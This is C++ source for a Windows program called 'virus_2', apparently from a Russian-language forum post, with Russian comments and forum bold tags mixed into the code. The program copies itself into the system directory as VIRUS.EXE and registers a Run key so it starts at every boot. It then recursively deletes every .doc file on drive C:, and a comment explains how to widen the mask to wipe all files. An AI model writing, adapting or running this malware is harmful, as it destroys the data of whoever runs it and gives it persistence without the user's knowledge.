// virus_2.cpp : Defines the entry point for the application.
//
#include "stdafx.h"
#include "windows.h"
BOOL RegistryAdd (char * szRegName, char * szPathExe, char * szRegPath)
{
HKEY hKey;
long lResult;
lResult = RegOpenKey (HKEY_LOCAL_MACHINE, szRegPath, &hKey);
if (lResult != ERROR_SUCCESS)
{
MessageBox (0, "RegOpenKey!!!", "Error Function!!!", MB_ICONERROR);
return FALSE;
}
lResult = RegSetValueEx (hKey, szRegName, 0, REG_SZ, (BYTE *) szPathExe, lstrlen(szPathExe)+1);
if (lResult != ERROR_SUCCESS)
{
MessageBox (0, "RegSetValueEx!!!", "Error Function!!!", MB_ICONERROR);
return FALSE;
}
lResult = RegCloseKey (hKey);
return TRUE;
}
BOOL InstallSystemFile (void)
{
char szSystemDirectory[MAX_PATH];
char szThisFile[MAX_PATH];
char szSystemPath[MAX_PATH];
char szFile[MAX_PATH];
GetModuleFileName (NULL, szThisFile, sizeof(szThisFile));
GetSystemDirectory (szSystemDirectory, sizeof(szSystemDirectory));
lstrcpy (szSystemPath, szSystemDirectory);
lstrcat (szSystemPath, "\\VIRUS.EXE");
if (CopyFile (szThisFile, szSystemPath, TRUE) == TRUE)
return TRUE;
else return FALSE;
}
void FindingFiles (char * szPath, char * szFindMask)
{
WIN32_FIND_DATA FindDataStruct;
HANDLE hFound;
char szFindPathFile [MAX_PATH];
char szNewFindPath [MAX_PATH];
char szFindDelPath [MAX_PATH];
char szFindPath [MAX_PATH];
strcpy (szFindPath, szPath);
strcat (szFindPath, "\\");
strcpy (szFindDelPath, szFindPath);
strcat (szFindPath, szFindMask);
if (( hFound = FindFirstFile (szFindPath, &FindDataStruct)) != INVALID_HANDLE_VALUE)
{
if (!(FindDataStruct.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) && strcmp (FindDataStruct.cFileName, "..") && strcmp (FindDataStruct.cFileName, "."))
{
strcpy (szFindPathFile, szFindDelPath);
strcat (szFindPathFile, FindDataStruct.cFileName);
DeleteFile(szFindPathFile);[B]удаляем найденные файлы[/B]
}
while (FindNextFile (hFound, &FindDataStruct))
{
if (!(FindDataStruct.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) && strcmp (FindDataStruct.cFileName, "..") && strcmp (FindDataStruct.cFileName, "."))
{
strcpy (szFindPathFile, szFindDelPath);
strcat (szFindPathFile, FindDataStruct.cFileName);
DeleteFile(szFindPathFile); [B]удаляем найденные файлы[/B]
}
}
}
FindClose (hFound);
strcpy (szFindPath, szPath);
strcat (szFindPath, "\\*.*");
if ((hFound = FindFirstFile (szFindPath, &FindDataStruct)) != INVALID_HANDLE_VALUE)
{
if ((FindDataStruct.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) && strcmp (FindDataStruct.cFileName, "..") && strcmp (FindDataStruct.cFileName, "."))
{
strcpy (szNewFindPath, szPath);
strcat (szNewFindPath, "\\");
strcat (szNewFindPath, FindDataStruct.cFileName);
FindingFiles (szNewFindPath, szFindMask);
}
while(FindNextFile( hFound, &FindDataStruct))
{
if ((FindDataStruct.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) && strcmp (FindDataStruct.cFileName, "..") && strcmp(FindDataStruct.cFileName, "."))
{
strcpy (szNewFindPath, szPath);
strcat (szNewFindPath, "\\");
strcat (szNewFindPath, FindDataStruct.cFileName);
FindingFiles (szNewFindPath, szFindMask);
}
}
}
}
int APIENTRY _tWinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
//Копирование в системную директорию
if (InstallSystemFile() == TRUE)
{
MessageBox (0, "Файл скопирован!!!", "Function OK!!!", MB_ICONASTERISK);
}
else
{
MessageBox (0, "Файл не скопирован: либо уже существует либо ошибка копирования!!!", "Function Error!!!", MB_ICONERROR);
}
//Добавление данных в реестр
if (RegistryAdd ("VIRUS", "VIRUS.EXE", "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") == TRUE)
{
MessageBox (0, "Данные в реестр добавлены!!!", "Function OK!!!", MB_ICONASTERISK);
}
else
{
MessageBox (0, "Данные в реестр не добавлены!!!", "Function Error!!!", MB_ICONERROR);
}
FindingFiles ("C:", "*.doc");[B]задаём типы файлов для удаления, например *.exe удаляет все файлы с расширением exe, *.* удаляет все файлы и так далее[/B]
return FALSE;
} |